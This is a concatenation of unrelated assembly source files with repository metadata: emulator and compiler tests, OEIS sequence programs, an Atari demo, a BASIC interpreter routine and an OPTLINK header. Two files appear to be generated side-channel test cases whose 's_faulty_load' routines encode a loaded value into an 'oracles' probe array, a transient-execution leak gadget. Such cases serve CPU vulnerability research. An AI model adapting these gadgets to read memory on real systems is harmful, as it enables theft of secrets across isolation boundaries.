f69b64321f5b24774ca8bd77d9e27311fcf49d67
950
asm
Assembly
asmTests/array.asm
SimpleTease/asm2c
503007217292d490f33dbaea9b8c5cc8429ea97f
[ "MIT" ]
154
2017-01-21T20:50:57.000Z
2022-02-23T07:31:37.000Z
asmTests/array.asm
SimpleTease/asm2c
503007217292d490f33dbaea9b8c5cc8429ea97f
[ "MIT" ]
7
2017-09-15T04:06:07.000Z
2020-12-18T01:03:55.000Z
asmTests/array.asm
SimpleTease/asm2c
503007217292d490f33dbaea9b8c5cc8429ea97f
[ "MIT" ]
29
2017-01-22T12:01:15.000Z
2022-03-01T15:18:01.000Z
.386p _DATA segment use32 dword public 'DATA' ;IGNORE var1 db 2,5,6 var2 dw 4,6,9 var3 dd 11,-11,2,4000000 _DATA ends ;IGNORE _TEXT segment use32 dword public 'CODE' ;IGNORE assume cs:_TEXT,ds:_DATA start: ;IGNORE sti ; Set The Interrupt Flag cld ; Clear The Direction Flag cmp var1,2 jne failure cmp [var1],2 jne failure JMP exitLabel cmp [var1+1],5 jne failure cmp [var2],4 jne failure cmp [var2+2],6 jne failure cmp [var3],11 jne failure cmp [var3+3*4],4000000 jne failure cmp var3+3*4,4000000 jne failure mov ebp,3*4 cmp [var3+ebp],4000000 jne failure cmp var3+ebp,4000000 jne failure MOV al,0 JMP exitLabel failure: mov al,1 exitLabel: mov ah,4ch ; AH=4Ch - Exit To DOS int 21h ; DOS INT 21h _TEXT ends ;IGNORE stackseg segment para stack 'STACK' ;IGNORE db 1000h dup(?) stackseg ends ;IGNORE end start ;IGNORE
13.571429
58
0.646316
c73de4cf7eb19f7fd34a56cf69a30f34c35b3c56
6,166
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_19_1652.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_19_1652.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_19_1652.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x1a1e, %r14 nop add $22475, %rdx vmovups (%r14), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $0, %xmm6, %r10 nop nop add $44752, %r14 lea addresses_normal_ht+0xa10e, %r10 add %rax, %rax movb (%r10), %dl nop nop nop nop xor $38511, %rax lea addresses_normal_ht+0x12cce, %rsi lea addresses_normal_ht+0x6d3e, %rdi xor $35065, %rax mov $82, %rcx rep movsb nop nop nop nop nop sub %r14, %r14 lea addresses_D_ht+0x1661e, %rsi lea addresses_A_ht+0x1aa1e, %rdi and %rbp, %rbp mov $62, %rcx rep movsw nop nop and $57022, %rbp lea addresses_WT_ht+0xea7e, %rbp nop nop nop nop nop cmp $19797, %rax mov (%rbp), %esi xor %r14, %r14 lea addresses_D_ht+0x1da1e, %rcx nop nop nop nop sub %rdi, %rdi movl $0x61626364, (%rcx) nop nop nop and $18120, %rsi lea addresses_WT_ht+0x1811e, %rsi lea addresses_WC_ht+0x10fb5, %rdi nop nop sub $51869, %rdx mov $7, %rcx rep movsw and $16579, %rdi lea addresses_normal_ht+0xca39, %rsi nop nop nop dec %r10 movb $0x61, (%rsi) nop add %rdx, %rdx lea addresses_UC_ht+0xa1a6, %r14 inc %rcx movw $0x6162, (%r14) nop add %rax, %rax lea addresses_WT_ht+0x401e, %r14 nop xor %rcx, %rcx mov $0x6162636465666768, %rdx movq %rdx, %xmm6 vmovups %ymm6, (%r14) nop nop nop nop cmp %rbp, %rbp lea addresses_WT_ht+0x861e, %rax clflush (%rax) nop nop xor $63088, %r10 mov $0x6162636465666768, %rsi movq %rsi, (%rax) nop nop nop nop nop and %rsi, %rsi lea addresses_WT_ht+0x1565a, %rcx nop dec %rbp mov (%rcx), %r14 nop nop nop nop and %rax, %rax lea addresses_WT_ht+0x1821e, %rdx nop add %r14, %r14 mov $0x6162636465666768, %r10 movq %r10, %xmm6 and $0xffffffffffffffc0, %rdx movntdq %xmm6, (%rdx) cmp %r10, %r10 lea addresses_WC_ht+0x754e, %rbp nop nop cmp %rsi, %rsi mov $0x6162636465666768, %r14 movq %r14, %xmm0 vmovups %ymm0, (%rbp) nop nop nop nop and %rsi, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %r8 push %rax push %rbp push %rcx push %rdi push %rsi // Store lea addresses_UC+0x1751e, %rax cmp $29233, %rbp mov $0x5152535455565758, %r10 movq %r10, (%rax) xor %r15, %r15 // Load lea addresses_normal+0x1921e, %rbp nop nop nop nop nop add $63842, %rcx mov (%rbp), %si nop nop and %rsi, %rsi // REPMOV lea addresses_WT+0x14a16, %rsi lea addresses_PSE+0x1dc1e, %rdi nop nop nop sub %rax, %rax mov $21, %rcx rep movsb nop nop nop add $60544, %rsi // Store lea addresses_RW+0x16e, %r15 nop inc %rdi movb $0x51, (%r15) nop nop sub $46213, %rsi // Store lea addresses_normal+0xb21e, %r15 clflush (%r15) nop nop nop nop nop sub %r10, %r10 mov $0x5152535455565758, %rcx movq %rcx, %xmm4 movaps %xmm4, (%r15) nop nop nop sub %rdi, %rdi // Load lea addresses_normal+0x1921e, %r15 nop nop nop inc %rbp mov (%r15), %ecx nop nop nop and %r10, %r10 // Faulty Load lea addresses_normal+0x1921e, %rcx clflush (%rcx) nop nop nop nop nop cmp %r8, %r8 mov (%rcx), %di lea oracles, %rsi and $0xff, %rdi shlq $12, %rdi mov (%rsi,%rdi,1), %rdi pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r8 pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_WT', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_PSE', 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'34': 19} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
21.409722
156
0.64953
51a8e1f00dc69185fc05265039f76fe2b134d488
308
asm
Assembly
programs/oeis/074/A074518.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/074/A074518.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/074/A074518.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A074518: a(n) = 1^n + 5^n + 8^n. ; 3,14,90,638,4722,35894,277770,2175278,17167842,136170854,1083507450,8638762718,68963617362,550976517014,4404150026730,35214889666958,281627564601282,2252562753138374,18018213206747610,144134261562183998 mov $1,5 pow $1,$0 mov $2,8 pow $2,$0 add $1,$2 add $1,1 mov $0,$1
28
204
0.756494
46b71f6fb66729398e11bd014029a1682276a124
852
asm
Assembly
src/2_colorbg/colorbg.asm
redconfetti/atari-asm
bff5c0dc5c7437a7d73f1b7b733b661b36aee9b0
[ "MIT" ]
null
null
null
src/2_colorbg/colorbg.asm
redconfetti/atari-asm
bff5c0dc5c7437a7d73f1b7b733b661b36aee9b0
[ "MIT" ]
null
null
null
src/2_colorbg/colorbg.asm
redconfetti/atari-asm
bff5c0dc5c7437a7d73f1b7b733b661b36aee9b0
[ "MIT" ]
null
null
null
processor 6502 include "../include/vcs.h" include "../include/macro.h" seg code org $F000 ; define the code origin at $F000 START: CLEAN_START ; Macro to safely clear the memory ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Set background luminosity color to yellow ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; lda #$1E ; Load color into A ($1E is NTSC yellow) sta COLUBK ; store A to BackgroundColor Address $09 jmp START ; Repeat from START ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Fill ROM size to exactly 4KB ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; org $FFFC ; Defines origin to $FFFC .word START ; Reset vector at $FFFC (where program starts) .word START ; Interrupt vector at $FFFE (unused in the VCS)
35.5
65
0.473005
9564d5a967acff3abd5d622ca49cbea5b4ee4189
734
asm
Assembly
programs/oeis/165/A165853.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/165/A165853.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/165/A165853.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A165853: Totally multiplicative sequence with a(p) = 32. ; 1,32,32,1024,32,1024,32,32768,1024,1024,32,32768,32,1024,1024,1048576,32,32768,32,32768,1024,1024,32,1048576,1024,1024,32768,32768,32,32768,32,33554432,1024,1024,1024,1048576,32,1024,1024,1048576,32,32768,32,32768,32768,1024,32,33554432,1024,32768,1024,32768,32,1048576,1024,1048576,1024,1024,32,1048576,32,1024,32768,1073741824,1024,32768,32,32768,1024,32768,32,33554432,32,1024,32768,32768,1024,32768,32,33554432,1048576,1024,32,1048576,1024,1024,1024,1048576,32,1048576,1024,32768,1024,1024,1024,1073741824,32,32768,32768,1048576 seq $0,1222 ; Number of prime divisors of n counted with multiplicity (also called bigomega(n) or Omega(n)). mov $1,32 pow $1,$0 mov $0,$1
91.75
534
0.783379
f78c2f64beafb8211cd9585d0377a130603a2f7c
85
asm
Assembly
test-suite/programs/unit/jeq_0x17.asm
ocus/TinyASM_Haskell
35698bd1d8c6587e76480531f9e6c3d2086f4c40
[ "BSD-3-Clause" ]
null
null
null
test-suite/programs/unit/jeq_0x17.asm
ocus/TinyASM_Haskell
35698bd1d8c6587e76480531f9e6c3d2086f4c40
[ "BSD-3-Clause" ]
null
null
null
test-suite/programs/unit/jeq_0x17.asm
ocus/TinyASM_Haskell
35698bd1d8c6587e76480531f9e6c3d2086f4c40
[ "BSD-3-Clause" ]
null
null
null
MOV [0] 43 JEQ 10 [0] 43 DPRINT 48 HALT JEQ 17 [0] 79 DPRINT 752 HALT DPRINT 69 HALT
8.5
13
0.694118
62d6bb892168b98df03ad5603f8d284f7ba3ab77
58
asm
Assembly
src/main/fragment/mos6502-common/vwum1=vwum2_plus_1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/main/fragment/mos6502-common/vwum1=vwum2_plus_1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/main/fragment/mos6502-common/vwum1=vwum2_plus_1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
clc lda {m2} adc #1 sta {m1} lda {m2}+1 adc #0 sta {m1}+1
7.25
10
0.568966
0e1000e79f6b6506ad688de7bac316c5f961b872
1,281
asm
Assembly
source/commands/gosub.asm
paulscottrobson/x16-basic
75ad512093e4565c569780557a3f65aefb956979
[ "MIT" ]
1
2020-02-08T15:30:11.000Z
2020-02-08T15:30:11.000Z
source/commands/gosub.asm
paulscottrobson/x16-basic
75ad512093e4565c569780557a3f65aefb956979
[ "MIT" ]
1
2020-11-10T17:11:35.000Z
2020-11-11T09:52:43.000Z
source/commands/gosub.asm
paulscottrobson/x16-basic
75ad512093e4565c569780557a3f65aefb956979
[ "MIT" ]
1
2021-05-14T11:06:04.000Z
2021-05-14T11:06:04.000Z
; ***************************************************************************** ; ***************************************************************************** ; ; Name : gosub.asm ; Purpose : X16-Basic Gosub & Return ; Author : Paul Robson (paul@robsons.org.uk) ; Date : 8th February 2020 ; ; ***************************************************************************** ; ***************************************************************************** ; ***************************************************************************** ; ; GOSUB <linenumber> ; ; ***************************************************************************** Command_Gosub: ;; gosub jsr EvaluateExpression ; get the line number. jsr StructPushPos ; save position lda #SMARK_GOSUB ; push a GOSUB marker jsr StructPushA jsr TransferControlToStack ; branch to there rts ; ***************************************************************************** ; ; RETURN ; ; ***************************************************************************** Command_Return: ;; return checkStructureStack SMARK_GOSUB,"No Gosub" lda #1 ; restore return address jsr StructGetPos lda #4 ; pop the address and marker jsr StructPopABytes rts
32.846154
79
0.328649
20f5d838bd51bd68253927431520168afd085846
7,378
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_339.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_339.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_339.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r15 push %r9 push %rcx push %rdi push %rsi lea addresses_WT_ht+0x11dd3, %rdi nop lfence mov $0x6162636465666768, %r9 movq %r9, %xmm7 vmovups %ymm7, (%rdi) nop nop nop nop add $9990, %rsi lea addresses_WT_ht+0x1a8a3, %r12 add %r10, %r10 mov $0x6162636465666768, %r13 movq %r13, %xmm1 movups %xmm1, (%r12) nop nop xor %rsi, %rsi lea addresses_normal_ht+0x16833, %r9 nop nop nop nop nop sub %r12, %r12 movb $0x61, (%r9) and $39691, %rsi lea addresses_normal_ht+0x1cea3, %rsi lea addresses_D_ht+0x52a3, %rdi nop nop nop nop nop sub %r9, %r9 mov $86, %rcx rep movsb nop nop nop xor $44805, %r9 lea addresses_WC_ht+0xdaa3, %rcx nop nop nop xor $55583, %r9 movw $0x6162, (%rcx) nop add $2556, %r10 lea addresses_WT_ht+0x5963, %r12 nop nop nop nop and $35737, %rcx movl $0x61626364, (%r12) nop nop nop nop nop sub $6399, %r12 lea addresses_WC_ht+0xe64b, %rsi lea addresses_WC_ht+0xee4b, %rdi nop nop and $32192, %r9 mov $84, %rcx rep movsl nop nop nop nop nop add %r10, %r10 lea addresses_D_ht+0x36a3, %r9 nop mfence mov $0x6162636465666768, %r10 movq %r10, %xmm3 vmovups %ymm3, (%r9) nop nop nop nop add %r9, %r9 lea addresses_WC_ht+0x2a3, %rsi lea addresses_WT_ht+0x4da3, %rdi nop nop add %r9, %r9 mov $58, %rcx rep movsw nop nop nop xor %r10, %r10 lea addresses_D_ht+0x10ea3, %rsi lea addresses_A_ht+0x4ea3, %rdi nop nop nop nop nop xor %r15, %r15 mov $7, %rcx rep movsb nop dec %r13 lea addresses_UC_ht+0xc563, %r12 clflush (%r12) nop nop nop sub %r13, %r13 movl $0x61626364, (%r12) nop nop nop nop sub $63463, %r10 lea addresses_D_ht+0x5163, %rsi lea addresses_normal_ht+0x10fd4, %rdi clflush (%rsi) nop nop cmp $3133, %r15 mov $110, %rcx rep movsl cmp %r13, %r13 lea addresses_WC_ht+0x13463, %rsi lea addresses_UC_ht+0x6043, %rdi nop nop nop nop dec %r15 mov $84, %rcx rep movsl nop nop nop cmp %r10, %r10 pop %rsi pop %rdi pop %rcx pop %r9 pop %r15 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r14 push %r15 push %rbx push %rcx // Faulty Load lea addresses_WC+0x72a3, %rbx and $56521, %r14 mov (%rbx), %r10d lea oracles, %r14 and $0xff, %r10 shlq $12, %r10 mov (%r14,%r10,1), %r10 pop %rcx pop %rbx pop %r15 pop %r14 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WT_ht', 'same': True, 'AVXalign': False, 'congruent': 4}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 10}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 3}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 7}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 9}, 'dst': {'same': True, 'type': 'addresses_A_ht', 'congruent': 9}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 2}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 5}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 6}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 1}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
34.638498
2,999
0.661019
08521ef4975a9c8a3e84a9b8ceda21f0e393f4da
4,188
asm
Assembly
os2link/src/first.asm
DigitalMars/optlink
493de158282046641ef2a3a60a88e25e26d88ec4
[ "BSL-1.0" ]
28
2015-02-03T01:38:24.000Z
2022-03-23T05:48:24.000Z
os2link/src/first.asm
DigitalMars/optlink
493de158282046641ef2a3a60a88e25e26d88ec4
[ "BSL-1.0" ]
20
2015-01-02T14:51:20.000Z
2021-01-09T21:37:19.000Z
os2link/src/first.asm
DigitalMars/optlink
493de158282046641ef2a3a60a88e25e26d88ec4
[ "BSL-1.0" ]
9
2015-02-11T17:43:56.000Z
2019-09-05T11:07:02.000Z
TITLE FIRST - Copyright (c) SLR Systems 1994 INCLUDE MACROS INCLUDE RELEASE if 0;fgh_os2 INCLUDELIB OS2 ;DOSCALLS endif PUBLIC CFLAGS,FLAG_LEN,PATCH,ROOT_RET,FIRST_LABEL .CODE FIRST_LABEL: .CODE ROOT_TEXT EXTERNDEF _optlink_restart:PROC START: JMP _optlink_restart DB 5 ;OPTLINK = 3 DW 5 DW RELEASE_NUM CFLAGS DB 00000000B ; ;7 DO_CHECKSUMING ;6 ABORT_ON_CHECKSUM ;5 SYMBOLS_OUT ;4 XREF_OUT ;3 CMDLINE_FREEFORMAT ;2 STACK_GROUP_FLAG ;1 DOSSEG_FLAG ;0 TD_FLAG ; DB 11000000B ; ;15 PACKFUNCTIONS_FLAG ;14 DEFAULTLIBRARYSEARCH_FLAG ;13 PRINT_GROUP ;12 LINENUMBERS_FLAG ;11 EXEPACK_FLAG ;10 INFORMATION_FLAG ;9 PAUSE_FLAG ;8 ECHO_INDIRECT ; DB 10000100B ; ;23 PACKCODE_NO_SEGMENTS ;22 PACKCODE_FLAG ;21 FARCALLTRANSLATION_FLAG ;20 BATCH_FLAG ;19 CODEVIEW_FLAG ;18 GROUPASSOCIATION_FLAG ;17 DELETE_EXE_ON_ERROR ;16 $$SLR_CODE_FIRST ; DB 10111110B ; ;31 HANDLE_EXE_ERRORFLAG ;30 NODOSSEG_FLAG ;29 ERROR_NOT_REFERENCED ;28 SCAN_LINK_ENVIRONMENT ;27 ALPHA_ORDER_ALSO ;26 CHECK_LO_BYTE ;25 ECHO_ANY ;24 PRESERVE_IMPEXP_CASE ; DB 00000001B ; ;39 FORCE_EMS_32 ;38 TRIED_EMS ;37 TRIED_XMS ;36 TRIED_UMB ;35 NOFARCALLTRANSLATE ;34 NOPACKCODE ;33 PACKDATA ;32 NULLSDOSSEG ; DB 01001011B ; ;47 DOTS_FLAG ;46 IGNORE_DUP_STARTS ;45 FIXDS_FLAG ;44 DETAILEDMAP_FLAG ;43 PLUS_FOUND ;42 LOGO_OUTPUT ;41 CHECK_RELOCATIONS ;40 EMS_IO_LEGAL ; DB 00000100B ; ;55 EXEPACK_IF_WINDLL ;54 EXEPACK_IF_OS2APP ;53 EXEPACK_IF_WINAPP ;52 EXEPACK_IF_DOSAPP ;51 ROOT_ENVIRONMENT_LEGAL ;50 ALLOW_WINDOWS_EXEPACK ;49 REORDER_ALLOWED ;48 DUP_MODNAMES_PLEASE ; DB 00110100B ; ;63 CMDLINE_FINAL ;62 COMDEF_SEARCH ;61 CVPACK_FLAG ;60 SCAN_LIB_ENVIRONMENT ;59 LIB_NOT_FOUND_FATAL ;58 PREV_DEF_IS_ERROR ;57 